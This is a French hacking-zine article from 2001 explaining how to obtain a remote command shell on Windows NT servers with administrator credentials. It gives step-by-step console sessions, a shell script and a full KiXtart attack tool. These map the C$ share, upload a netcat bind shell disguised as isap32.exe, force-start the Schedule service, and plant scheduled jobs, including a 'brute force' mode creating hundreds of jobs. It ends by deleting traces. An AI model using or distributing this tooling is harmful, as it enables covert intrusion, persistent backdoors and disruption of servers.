Le 02/02/2001 ===================[ RNTSO ]=================== the Remote NT Shell Obtention, By ThreaT =============================================== \\SOMMAIRE 1/Introduction 2/Etude technique d'obtention 3/Script d'esquice 4/script final 5/fin See the attached file rntso.zip ;) ============================================= \\INTRODUCTION: @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ Ne vous etes vous jamais demandez pourquoi ci peut de "bidouilleurs informatiques" étaient interressés par windows NT? Car c'est un produit microsoft? Car le système est trop facile à pénétrer? non. la vrai reponse, et que windows NT, dans sa configuration par defaut, ne permet pas d'acceder à un SHELL (interpreteur de commande) à l'instar des systèmes unix. du coup, les techniques d'attaques à distance ce retrouves limitées. Outre la possibilité d'analyser les services present sur un serveur, et d'aller nous downloader l'exploit correspondant (ex: IIS bof), une connexion netbios en temp qu' administrateur n'a pas vraiment sont interet, sauf pour la destruction, ou la modification de fichier. mais alors comment faire pour obtenir d'un système windows NT un remote Shell, meme si aucun service n'est installé sur celui si (comme les serveurs de fichier ou d'impression)? c'est à cette question que nous allons tentés de repondre dans l'... \\ETUDE TECHNIQUE D'OBTENTION @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ essayons ensemble de mettre en place une technique basic, nous permettant d'obtenir un shell sur un serveur dont nous possedont un accès administratif. Quel sont les outils que nous pouvont utiliser? Pour le shell: -------------- NCX99: ncx99 et la version modifié de netcat par L0pht. Ncx99 ce charge de faire le lien entre un interpreteur cmd et le port 99 de la machine qui l'execute, tout comme si nous avions specifiés à netcat les options -L -p 99 -e cmd.exe le problème est que netcat doit être placé sur le sevreur cible, et être executé en local. la technique va donc consister à mapper un partage distant sur notre machine, uploader ncx, et executer ncx sur le serveur cible. oui, mais comment executer ncx sur le serveur cible? pour cela, nous allons utiliser le service schedule. grace à la commande AT de windows NT, il nous est possible d'executer des commandes sur le serveur. voyons deja ce que cela nous donne. ----------------------------------------- Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp. C:\>net use \\serveur\ipc$ /user:administrateur Le mot de passe ou nom d'utilisateur n'est pas valide pour \\serveur\ipc$ Tapez le mot de passe pour \\serveur\ipc$ : La commande s'est terminée correctement. C:\>net use * \\serveur\c$ Le lecteur H: est maintenant connecté à \\serveur\c$ La commande s'est terminée correctement. C:\>copy ncx99.exe h: 1 fichier(s) copié(s). C:\>at \\serveur Le service n'a pas été démarré. ---------------------------------------- Arg, premier problème. Il nous faut trouver un moyen de demarrer le service schedule à distance. pour cela, faisont un petit tour du coté du Ressource Kit. SC.EXE: Sc est une commande du ressource Kit permettant la communication avec le controleur ------- de service distant d'un systeme NT. la synthaxe qui nous interresse est la suivante: sc \\serveur start schedule ok c'est repartie. +++++++++++++++++++++++++++++++++++++++++++ Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp. C:\>net use \\serveur\ipc$ /user:administrateur Le mot de passe ou nom d'utilisateur n'est pas valide pour \\serveur\ipc$ Tapez le mot de passe pour \\serveur\ipc$ : La commande s'est terminée correctement. C:\>net use * \\serveur\c$ Le lecteur H: est maintenant connecté à \\serveur\c$ La commande s'est terminée correctement. C:\>copy ncx99.exe h: 1 fichier(s) copié(s). C:\>at \\serveur Le service n'a pas été démarré. C:\>sc \\serveur start schedule SERVICE_NAME: schedule TYPE : 120 WIN32_SHARE_PROCESS (interactive) STATE : 2 START_PENDING (NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x7d0 C:\>at \\serveur La liste est vide. c:>at /? La commande AT planifie l'ex‚cution des commandes et programmes sur l'ordinateur … une date et une heure sp‚cifi‚es. Le service Planification doit fonctionner pour utiliser la commande AT. AT [\\ordinateur] [ [id] [/DELETE] | /DELETE [/YES]] AT [\\ordinateur] heure [/INTERACTIVE] [ /EVERY:date[,...] | /NEXT:date[,...]] "commande" \\ordinateur Sp‚cifie un ordinateur distant. Les commandes sont planifi‚es sur l'ordinateur local si ce paramŠtre est omis. id Identificateur (nombre) affect‚ … une commande planifi‚e. /DELETE Supprime une commande planifi‚e. Si id est omis, toutes les commandes sur l'ordinateur sont supprim‚es. /YES Utilis‚e pour supprimer toutes les tƒches sans demande de confirmation. heure Heure de l'ex‚cution de la commande. /INTERACTIVE Permet au travail d'interagir avec le bureau de l'utilisateur qui est connect‚ au moment o— le travail est effectu‚. /EVERY:date[,...] Ex‚cute la commande tous les jours sp‚cifi‚s de la semaine ou du mois. Si la date est omise, le jour en cours du mois est utilis‚ par d‚faut. /NEXT:date[,...] Ex‚cute la commande lors de la prochaine occurrence du jour (par exemple, jeudi prochain). Si la date est omise, le jour en cours du mois est utilis‚ par d‚faut. "commande" Commande Windows NT, ou programme de commandes … ex‚cuter. C:\>net time \\serveur /yes L'heure en cours sur \\serveur est 2/3/2001 6:47 PM La commande s'est terminée correctement. ++++++++++++++++++++++++++++++++++++++++ arg, 2eme problème. AT demande une heure à specifier pour executer notre commande. Pour être en parfaite armoni, nous nous sommes donc synchronisés avec l'horloge de la machine distante, grace à la commande net time. ok, mais comment definir un environnement variable qui nous permettrais d'executer un AT quelque secondes à partir de notre heure local? le ressource kit va encore être necessaire... SOON.exe: Soon est une commande du ressource kit permettant de parametrer des jobs, --------- en specifiant simplement le nombre de seconde à partir de l'heure local. ceci peut s'averer très pratique pour la variabilité du temp. mais à combien de seconde allons nous parametrer le job d'execution distant? d'après mon experiance, il vaut mieux proceder par tranche de 1 mn pour le parametrage d'un job distant. un temp de 65 secondes me parait alors plus secure. la syntaxe est donc: soon \\serveur 65 c:\ncx99.exe nous pouvons maintenant reprandre avec cette nouvelle info. +++++++++++++++++++++++++++++++++++++ C:\>net time \\serveur /yes L'heure en cours sur \\serveur est 2/3/2001 6:47 PM La commande s'est terminée correctement. C:\>soon \\serveur 65 c:\ncx99.exe SOON : AT \\serveur 19:01:47 c:\ncx99.exe Tâche ajoutée avec ID = 1 C:>at \\serveur état ID Jour Heure Ligne de commande --------------------------------------------------------------------------- 1 Aujourd'hui 19:01 PM c:\ncx.exe C:\>telnet serveur 99 Connextion à serveur... Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp. C:\>WINNT\system32> ++++++++++++++++++++++++++++++++++++ Et voila, nous avons un remote shell :) bon, maintenant que vous voyez la technique manuelle, faisont un petit script d'esquice qui nous serviras à voir ou ce trouve les principaux point d'automatisation. \\SCRIPT D'ESQUICE @@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ afin de mettre en place un petit utilitaire simpas, et qui tiens la route, nous allons constituer en premier lieu un script brouillon, pour connaitre à l'avance les problèmes pouvant survenir lors de l'execution de ce genre d'automatisation. donc, recapitulons le schema: +connexion a la cible via netbios -- si la connexion est impossible, on intervient pas -- si la connextion est possible: +mappage du partage c$ a un lecteur logique local predefinit -- si le mappage est impossible, on tente de definir pourquoi. +determiner si le service schedule est actif -- si inactif, activation du service -- si actif on passe a l'etape suivante +upload de ncx +synchronisation avec la machine distante +execution du job d'execution +temp d'attete de 70 secondes +connection telnet au remote shell ce qui ce traduit par +connextion a la cible via netbios ------------------------- echo "Connexion a $1..." if ! cmd /c $(echo "net use \\\\\\$1\ipc$ $pass /user:$2");then echo "Impossible d'etablir une connexion avec la machine distante." exit 0;fi -------------------------- +mappage du partage c$ ------------------------- echo "mappage du partage $partage..." if ! cmd /c $(echo "net use t: \\\\\\$1\\\\$partage");then echo "Impossible de maper le partage $partage..." echo "assurer vous que le compte utiliser et bien un administrateur, ou modifier" echo "le script de facon a ce que la map reseau ce fasse sur un partage existant." cmd /c $(echo "net use t: /delete") cmd /c $(echo "net use \\\\\\$1\ipc$ /delete") exit 0;fi --------------------------- +determiner si le service schedule est actif --------------------------- echo "determinons si le service Schedule et actif sur le serveur..." if ! cmd /c $(echo "at \\\\\\$1");then echo;echo "Oups, petit probleme avec Le service Schedule..." echo "c'est pas grave, on vas s'en occuper ;-)";echo cmd /c $(echo "sc \\\\\\$1 start schedule") if ! cmd /c $(echo "at \\\\\\$1");then echo "je crois que je m'y suis pris trop vite!" print -n "attendons 5 secondes" it=1 while [ $it -le 5 ];do print -n "." sleep 1 it=$(($it+1));done echo "ok" echo;echo "on rejette un oeil sur le service schedule..." if ! cmd /c $(echo "at \\\\\\$1");then echo "Desole, mais je crois que le service schedule ne nous aimes pas!" echo "essayer plus tard." cmd /c $(echo "net use t: /delete") cmd /c $(echo "net use \\\\\\$1\ipc$ /delete") exit 0;fi;fi;fi echo ;echo "Impecable, on va pouvoir passer aux choses serieuses..." ---------------------------- +upload de ncx (que nous allons renommer isap32.exe, pour une question de discretion) ---------------------------- echo;print -n "Upload de ncx sur $1..." if ! cp `pwd`/isap32.exe t:/;then echo;echo "!!erreur!!" echo "verifier que les fichier isap32.exe et cp.exe ce trouve dans" echo "le meme repertoire que le script, et relancer celui ci." cmd /c $(echo "net use t: /delete") cmd /c $(echo "net use \\\\\\$1\ipc$ /delete") exit 0;fi ----------------------------- +synchronisation avec la machine distante ----------------------------- echo "Nous allons maintenant nous synchroniser avec l'horloge de la machine distante." cmd /c $(echo "net time \\\\\\$1 /set /yes") ------------------------------ +execution du job d'execution ------------------------------ mn=70 cmd /c $(echo "soon \\\\\\$1 60 ${chemin}\isap32.exe") cmd /c $(echo "soon \\\\\\$1 43260 ${chemin}\isap32.exe") ------------------------------ +temp d'attente de 70 secondes puis connection telnet au remote shell ------------------------------ echo echo "++++++++++++++++++++++++++++++++++++++++++++++++++" echo "Le Remote Shell vas apparaitre dans $mn secondes" echo "++++++++++++++++++++++++++++++++++++++++++++++++++" echo print "merci de patienter:" echo \\c$cst cst=1 while [ $cst -le $mn ];do echo \\b\\b\\b$cst\\c sleep 1 cst=$(($cst+1));done echo "..ok" telnet $1 99 echo;echo "Repondez 'OUI' a cette question si vous desirez effacer les traces de jobs" echo "(ceci est vivement recommender si vous avez utiliser l'option -bf)";echo cmd /c $(echo "at \\\\\\$1 /delete") cmd /c $(echo "net use t: /delete") cmd /c $(echo "net use \\\\\\$1\ipc$ /delete") cmd /c cls ------------------------------- tout ceci a l'air d'être reglé comme du papier à musique, mais qu'adviendrait t'il si la synchronisation avec l'horloge distante avait du mal à s'effectuer. (si la machine faisait partie d'un domaine NT par exemple) Nous ne pourions pas determiner avec exactitude quand va s'executer l'interpreteur, ce qui devient pour nous un reel probleme. pour palier à ceci, nous allons mettre en place une technique d'attaque que nous allons appeller AT Brute force. le principe est simple, si nous n'arrivons pas à connaitre l'heure exacte da la machine distante, nous allons alors programmer sur celle si un job d'execution toutes les 3 minutes afin d'avoir un interval de temp resonable. ce qui nous donneras à coup sur un shell. le problème, et que cette technique programme environs 700 jobs sur le serveur cible, et devras effacer la totalitées des jobs programmés afin de ne pas saturer le serveur de processus cmd. donc, à utiliser avec precaution ;) AT brute force -------------------------- mn=120 echo "Application de la technique AT bruteforce..." while [ $BF -le 86400 ];do cmd /c $(echo "soon \\\\\\$1 $BF ${chemin}\isap32.exe") BF=$(($BF+180));done BF=1 --------------------------- pour la convivialitée de l'utilitaire, la mise en place d'une ou deux options en plus ne serait pas une si mauvaise idée que sa. -- Upload NCX pourquoi perdre du temp à uploader ncx si la cible le possede deja? c'est pour cela que l'on mettra cette option en place, afin que l'utilisateur determine si l'upload de ncx est necessaire ou pas. -- chemin de partage imaginons que c$ ne soit pas partager? l'uplad ne pouras pas s'effectuer, et le job distant non executer. une option permettant de redeterminer manuellement par quel partage accessible en R/W nous voulons passez, eviteras a l'utilisateur d'aller plonger ses mains dans le camboui du code source. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ CE QUI NOUS DONNE UN TRUC DANS CE STYLE ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #---------------------------------------------------------------- #Script de connection a un shell NT distant via un account #detenant les privileges administratif. #---------------------------------------------------------------- #Version: 1.1 #Interpreteur de commande: Shell du MKS Toolkit #Fichier rattacher: sh.exe soon.exe cp.exe isap32.exe (ncx99) sleep.exe sc.exe #Execution: sh.exe ntrso.sh #============= # xploit code #============= echo "netoyage des traces reseaux..." cmd /c $(echo "net use t: /delete") cmd /c $(echo "net use \\\\\\$1\ipc$ /delete") cmd /c cls echo " ----------------------------------------------" echo " Remote NT Shell Obtention, By ThreaT." echo " ----------------------------------------------" PATH=$(echo "$PATH;`pwd`") if [ ! $3 ];then echo echo "Usage: sh.exe $0 | +pass [Option]" echo echo " +pass: saisir le mot de passe manuellement" echo echo "Option: -hp: Help (afficher l'aide detailler)" echo " -bf: Brute Force (Brute force de la table des jobs)" echo " -nu: No Upload (ne pas effectuer l'upload de ncx)" echo " -ch: specifier le nom de partage et le chemin d'upload" exit 0;fi if [ "$3" = "+pass" ];then pass= else pass=$3 fi partage="c$" chemin="c:/" for arg in $*;do if [ $arg = "-bf" ];then bfarg=1 elif [ $arg = "-nu" ];then nuarg=1 elif [ $arg = "-nm" ];then nmarg=1 elif [ $arg = "-ch" ];then echo print -n "specifier ici le nom du partage a mapper: " read partage print -n "indiquez maintenant le chemin complet du partage: " read chemin fi done if [ "$bfarg" = 1 ];then echo;echo "Vous avez demandez a utiliser la Methode AT Brute force!!!" echo "----------------------------------------------------------" echo "Attention! cette option va parametrer une multitude de Job," echo "sur le serveur cible. Ce qui veut dire que tout Job non nettoyer" echo "par le script en fin de session vous permettras de reactiver un " echo "Shell via telnet. Cette operation peut etre facilement remarquer" echo "par un administrateur, car si celui vient a lister les processus," echo "une multitude de CMD, pouvant reduir les performances du serveur" echo "attirerons fortement son attention" echo "-----------------------------------------------------------" echo print -n "Etes vous sur de vouloir utiliser la methode AT Brute force? [O/N] : " read reponse case "$reponse" in [nN]) echo "Operation annulee!" exit 0 ;; [oO]) echo echo "AT Brute force methode enable..." BF=1 ;; esac;echo;fi echo "Connexion a $1..." if ! cmd /c $(echo "net use \\\\\\$1\ipc$ $pass /user:$2");then echo "Impossible d'etablir une connexion avec la machine distante." exit 0;fi if [ ! $nuarg = 1 ];then echo "mappage du partage $partage..." if ! cmd /c $(echo "net use t: \\\\\\$1\\\\$partage");then echo "Impossible de maper le partage $partage..." echo "assurer vous que le compte utiliser et bien un administrateur, ou modifier" echo "le script de facon a ce que la map reseau ce fasse sur un partage existant." cmd /c $(echo "net use t: /delete") cmd /c $(echo "net use \\\\\\$1\ipc$ /delete") exit 0;fi;fi echo "determinons si le service Schedule et actif sur le serveur..." if ! cmd /c $(echo "at \\\\\\$1");then echo;echo "Oups, petit probleme avec Le service Schedule..." echo "c'est pas grave, on vas s'en occuper ;-)";echo cmd /c $(echo "sc \\\\\\$1 start schedule") if ! cmd /c $(echo "at \\\\\\$1");then echo "je crois que je m'y suis pris trop vite!" print -n "attendons 5 secondes" it=1 while [ $it -le 5 ];do print -n "." sleep 1 it=$(($it+1));done echo "ok" echo;echo "on rejette un oeil sur le service schedule..." if ! cmd /c $(echo "at \\\\\\$1");then echo "Desole, mais je crois que le service schedule ne nous aimes pas!" echo "essayer plus tard." cmd /c $(echo "net use t: /delete") cmd /c $(echo "net use \\\\\\$1\ipc$ /delete") exit 0;fi;fi;fi echo ;echo "Impecable, on va pouvoir passer aux choses serieuses..." if [ ! "$nuarg" = 1 ];then echo;print -n "Upload de ncx sur $1..." if ! cp `pwd`/isap32.exe t:/;then echo;echo "!!erreur!!" echo "verifier que les fichier isap32.exe et cp.exe ce trouve dans" echo "le meme repertoire que le script, et relancer celui ci." cmd /c $(echo "net use t: /delete") cmd /c $(echo "net use \\\\\\$1\ipc$ /delete") exit 0;fi echo ok;fi;echo echo "Nous allons maintenant nous synchroniser avec l'horloge de la machine distante." cmd /c $(echo "net time \\\\\\$1 /set /yes") if [ "$BF" = 1 ];then mn=120 echo "Application de la technique AT bruteforce..." while [ $BF -le 86400 ];do cmd /c $(echo "soon \\\\\\$1 $BF ${chemin}\isap32.exe") BF=$(($BF+180));done BF=1 else mn=70 cmd /c $(echo "soon \\\\\\$1 60 ${chemin}\isap32.exe") cmd /c $(echo "soon \\\\\\$1 43260 ${chemin}\isap32.exe") fi echo echo "++++++++++++++++++++++++++++++++++++++++++++++++++" echo "Le Remote Shell vas apparaitre dans $mn secondes" echo "++++++++++++++++++++++++++++++++++++++++++++++++++" echo print "merci de patienter:" echo \\c$cst cst=1 while [ $cst -le $mn ];do echo \\b\\b\\b$cst\\c sleep 1 cst=$(($cst+1));done echo "..ok" telnet $1 99 echo;echo "Repondez 'OUI' a cette question si vous desirez effacer les traces de jobs" echo "(ceci est vivement recommender si vous avez utiliser l'option -bf)";echo cmd /c $(echo "at \\\\\\$1 /delete") cmd /c $(echo "net use t: /delete") cmd /c $(echo "net use \\\\\\$1\ipc$ /delete") cmd /c cls echo if [ "$BF" != 1 ];then echo "Si la connexion au shell distant n'a pas reussi, relancer le script" echo "avec l'option -bf (radical!)";fi echo echo " --- MvM ---" echo " Contact: ThreaT@Caramail.com" exit 0 \\SCRIPT FINAL @@@@@@@@@@@@@@ @@@@@@@@@@@@@@ le script final est un script ecrit en kixtart. celui si permet a l'utilisateur d'evoluer a travers une interface graphique basic, afin d'obtenir un shell d'une machine NT distante. la fonction de definition du chemin n'a pas été coder. si toutefois, vous desirez que celle si soit inclue dans le soft, envoyer moi un mail, pour que je me mette au boulot. je vais quand meme vous donner les emplacement à modifier dans le source pour vous depannez. ##################################################################### $cible="@wksta" $login="@userid" $pass="No password" $passe="" $atbf="Disable" $uncx="Enable" :start $var=1 color b+/n do box (0,0,24,$var,grid) $var = $var + 1 until $var = 80 :debut color w+/m $var=20 do box (3,5,19,$var,full) $var = $var + 1 until $var = 75 color m+/m at (18,25) "RNTSO Version 1.0, By ThreaT." color y+/n at ( 1,27) "REMOTE NT SHELL OBTENTION" :etat color c+/n $var=20 do box (4,7,17,$var,full) $var = $var + 1 until $var = 39 at (4,19) " MENU " color r+/n $var=20 do box (4,41,17,$var,full) $var = $var + 1 until $var = 73 at (4, 54) " ETAT " color y+/n at (6,9) "Definir la cible : Tapez C" at (7,9) "Definir le login : Tapez L" at (8,9) "Definir le passe : Tapez P" at (10,9) "AT Brute Force : Tapez A" at (11,9) "Upload ncx : Tapez U" ;at (11,9) "Definir le PATH : non dispo" at (13,9) "Affichier l'Aide : Tapez H" at (14,9) "Pour Quitter : Tapez Q" color r+/n at (6,43) "CIBLE : $cible" at (7,43) "LOGIN : $login" at (8,43) "PASSE : $pass" at (10,43) "AT BRUTE FORCE : $atbf" at (11,47) "UPLOAD NCX : $uncx" color y+/r+ at (13,43) "Tapez GO pour demarrer!" ;at (11,43) "Etat du PATH :" color g+/n at (16,9) "VOTRE CHOIX : " gets $choix if $choix = "l" goto login else if $choix = "c" goto cible else if $choix = "p" goto passe else if $choix = "a" goto bforce else if $choix = "u" goto upload else if $choix = "h" goto help else if $choix = "go" goto attaque else if $choix = "q" :fin cls color y+/r+ ?" --- MvM --- " color g+/n ?"Contact: ThreaT@@CaramaiL.com"? color w/n exit 0 else color w+/r+ $var=20 do box (7,14,12,$var,full) $var = $var + 1 until $var = 65 at (9,26) "Votre choix est incorrect!" get $temp goto debut exit 0 endif :cible color w+/b+ $var=20 do box (21,10,23,$var,full) $var = $var + 1 until $var = 70 at (22,11) "Definissez la CIBLE (nom-IP ou addr-IP): " gets $cible color b+/n box (0,0,24,80,grid) goto debut :login color w+/b+ $var=20 do box (21,10,23,$var,full) $var = $var + 1 until $var = 70 at (22,11) "Definissez le nouveau LOGIN: " gets $login color b+/n box (0,0,24,80,grid) goto debut :passe color w+/b+ $var=20 do box (21,10,23,$var,full) $var = $var + 1 until $var = 70 at (22,11) "Definissez le nouveau MOT DE PASSE: " color b+/b+ gets $passe $tmp=len($passe) $ta=0 $pass="" if $tmp = 0 $pass="No password" else do $pass="$pass"+"*" $ta = $ta + 1 until $ta = $tmp endif color b+/n box (0,0,24,80,grid) goto debut :bforce color w+/b+ $var=20 do box (21,10,23,$var,full) $var = $var + 1 until $var = 70 at (22,11) "Changer l'etat de l'attaque par Brute Force ? [O/N]:" gets $reponse if $reponse = "o" goto switch else color b+/n box (0,0,24,80,grid) goto debut endif :switch if $atbf = "Enable" $atbf = "Disable" color b+/n box (0,0,24,80,grid) goto debut else if $atbf = "Disable" $atbf = "Enable" endif color b+/n box (0,0,24,80,grid) goto debut :upload color w+/b+ $var=20 do box (21,10,23,$var,full) $var = $var + 1 until $var = 70 at (22,11) "Changer l'etat pour l'upload de ncx ? [O/N]:" gets $reponse if $reponse = "o" goto swit else color b+/n box (0,0,24,80,grid) goto debut endif :swit if $uncx = "Enable" $uncx = "Disable" color b+/n box (0,0,24,80,grid) goto debut else if $uncx = "Disable" $uncx = "Enable" endif color b+/n box (0,0,24,80,grid) goto debut :chemin ?"vous avez demander l'option chemin" exit 0 :help shell "less rntso.hel" goto start :attaque shell "cmd /c net use \\$cible\ipc$ /delete" use t: /delete $var=1 color n/n do box (0,0,24,$var,full) $var = $var + 1 until $var = 79 color w+/g+ $var=20 do box (7,14,12,$var,full) $var = $var + 1 until $var = 65 at (9,22) "Connection a $cible..." use "\\$cible\ipc$" /user:$login /password:$passe if @error = 0 "OK" goto map else if @error = 53 "Introuvable" at (10,25) "Verifier le nom de la cible," at (11,27) "et reesayer de nouveau." get $t goto start else if @error = 1326 "Acces refusé" at (10,23) "Login ou mot de passe incorrect." get $tmp goto start else if @error = 1907 "Blanking password!" goto map else if @error = 2250 "cible introuvable!" get $tmp goto start else if @error = 1219 "Oups" color n/n box (0,0,24,79,full) color w+/b+ $var=20 do box (7,14,12,$var,full) $var = $var + 1 until $var = 65 at (9,28) "Un conflit est survenu!" at (10,23) "nous allons tentez d'y remedier..." use t: /delete use "\\$cible\ipc$" /user:$login /password:$passe if @error = 0 or @error = 1907 "OK" goto map else "Problème de connexion!" get $tmp goto start endif :map if $uncx = "Disable" goto schedule else color n/n box (0,0,24,79,full) color w+/g+ $var=20 do box (7,14,12,$var,full) $var = $var + 1 until $var = 65 at (9,20) "Connection au partage c$ de $cible..." use t: "\\$cible\c$" <--- en cas de problème, changer ici le c$ par le nom de partage desirer. endif if @error = 0 "OK" else at (10,22) "Problème lors de la connexion!" get $tmp goto start endif :schedule color n/n box (0,0,24,79,full) color w+/b+ $var=20 do box (7,14,12,$var,full) $var = $var + 1 until $var = 65 at (9,25) "etat du service Schedule..." at (10,25) shell "cmd /c at \\$cible" if @error = 0 goto ncx else if @error = 1 color w+/b+ $var=20 do box (7,0,20,$var,full) $var = $var + 1 until $var = 78 at (8,18) "Demarrage du service schedule sur $cible" at (9,18) shell "sc \\$cible start schedule" if @error = 1 color n/n box (0,0,24,79,full) color w+/b+ $var=20 do box (7,14,12,$var,full) $var = $var + 1 until $var = 65 at (9,22) "Attente de demarrage du service schedule" at (10,22) "veuillez patienter quelque instant" sleep 3 else at (11,24)"Schedule n'a pas put demarrer" at (12,14)"le service est suremment desactivé sur $cible" get $y goto start endif :ncx if $uncx = "Disable" goto synchro else color n/n box (0,0,24,79,full) color w+/g+ $var=20 do box (7,14,12,$var,full) $var = $var + 1 until $var = 65 at (9,25) "Upload de NCX..." at (10,22) shell "cmd /c copy isap32.exe t:\" if @error = 0 goto synchro else at (11,25) "Impossible de copier ncx vers la cible!" get $tmp goto start endif endif :synchro color n/n box (0,0,24,79,full) color w+/b+ $var=20 do box (7,14,12,$var,full) $var = $var + 1 until $var = 65 at (10,18) "synchronisation avec la machine distante..." settime "\\$cible" if @error = 0 "OK" goto jobs else at (11,20) "La synchronisation a échouée!" goto jobs endif :jobs if "$atbf" = "Enable" $t=150 color w+/b+ $var=20 do box (14,0,20,$var,full) $var = $var + 1 until $var = 70 at ( 15,15) "Brute forcing the remote jobs table..." $temp = 1 do at (17,3) shell "soon \\$cible $temp c:\isap32.exe" <-- metter ici le chemin complet. $temp = $temp + 140 until $temp > 86400 else $t=70 color n/n box (0,0,24,79,full) color w+/g+ $var=20 do box (7,14,12,$var,full) $var = $var + 1 until $var = 65 at (9,20) "mise en place du job d'execution" color w+/b+ $var=20 do box (12,0,18,$var,full) $var = $var + 1 until $var = 55 at (13,1) shell "soon \\$cible 65 c:\isap32.exe" <--- ici aussi. endif color n/n box (0,0,24,79,full) color w+/r+ $var=20 do box (7,13,12,$var,full) $var = $var + 1 until $var = 67 at (9,16) "Le remote shell va apparaitre dans " do at (9,51) "$t seconde(s) " sleep 1 $t = $t - 1 until $t = 0 at (10,22) "Connexion au remote shell..." shell "telnet $cible 99" color n/n use t: /delete shell "net use \\$cible\ipc$ /delete" shell "at \\$cible /delete /yes" goto fin ####################################################### \\FIN @@@@@ @@@@@ bon, ben voila, c'est la fin! l'article etait court, mais bon, en ce moment j'ai vraiment la flaimme d'ecrire. en esperant n'avoir pas été trop peut technique, je vais vous laisser la, car il faut que je prepart mon "n"ieme demenagement. comme d'hab, vous pouvez me contacter à: ThreaT@Caramail.com ThreaT@ifrance.com ou par BBS sur 216.163.97.111 --------------------------------------------- ~ Computer can change your life for better ~ ---------------------------------------------